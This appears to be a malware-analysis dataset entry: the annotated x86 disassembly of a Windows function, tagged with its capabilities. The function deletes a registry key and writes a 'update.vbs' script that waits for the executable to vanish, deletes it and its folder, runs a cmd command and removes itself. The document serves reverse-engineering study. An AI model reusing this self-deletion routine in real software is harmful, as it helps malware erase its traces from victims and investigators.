Function at 0x408af8
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
mov esi, 0x467f88
push edi
mov ecx, esi
call fcn.00402040
push eax
mov ecx, esi
call fcn.00402048
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b8]
push esi
push eax
mov ebx, 0x467f40
push str.exepath
mov ecx, ebx
call fcn.00402048
mov edx, eax
call fcn.0040d1ab
add esp, 0x14
xor edi, edi
test al, al
jne 0x408b56
push esi
lea eax, [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00402048
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b8]
push 0x80
push eax
mov byte [ebp - 1], 1
call esi
mov ebx, eax
mov edx, 0x45962c
neg ebx
mov ecx, 0x467f58
sbb bl, bl
and bl, byte [ebp - 1]
call fcn.00406afc
test al, al
je 0x408baf
push 0x80
mov ecx, 0x467f58
call fcn.00404c62
push eax
call esi
push str.update.vbs
push 0x459a28
call fcn.004325b2
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.00407d3f
pop ecx
lea ecx, [ebp - 0x34]
call fcn.0040351f
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x34]
call fcn.00403529
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x1c]
call fcn.00409470
pop ecx
lea ecx, [ebp - 0x34]
call fcn.0040351f
test bl, bl
je 0x408c52
push 0x459ad0
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403529
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00409470
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004064e2
lea ecx, [ebp - 0x34]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
lea ecx, [ebp - 0x64]
call fcn.0040351f
push 0x459b08
lea eax, [ebp - 0x2b8]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x34]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00407d3f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004064e2
lea ecx, [ebp - 0x64]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
lea ecx, [ebp - 0x34]
call fcn.0040351f
test bl, bl
je 0x408cb3
push str.wend_n
lea ecx, [ebp - 0x1c]
call fcn.004064d9
mov ebx, 0x45962c
mov esi, 0x467f58
mov edx, ebx
mov ecx, esi
call fcn.00406afc
test al, al
je 0x408d02
push 0x459b08
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x4c]
call fcn.00409494
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004064e2
lea ecx, [ebp - 0x64]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
push 0x459bd0
push 0x459bd4
lea ecx, [ebp - 0xac]
call fcn.00403529
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x94]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.0040944c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.004093d6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004064e2
lea ecx, [ebp - 0x64]
call fcn.0040351f
lea ecx, [ebp - 0x4c]
call fcn.0040351f
lea ecx, [ebp - 0x34]
call fcn.0040351f
lea ecx, [ebp - 0x94]
call fcn.0040351f
lea ecx, [ebp - 0xac]
call fcn.0040351f
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x1c]
call fcn.004064d9
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404c62
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402040
mov esi, eax
lea ecx, [ebp - 0x1c]
add esi, esi
call fcn.00404c62
mov edx, esi
mov ecx, eax
call fcn.004149a8
pop ecx
pop ecx
test al, al
je 0x408de2
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404c62
push eax
push 0x4595bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x408de2
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.0040351f
lea ecx, [ebp - 0x7c]
call fcn.0040351f
lea ecx, [ebp + 8]
call fcn.0040351f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret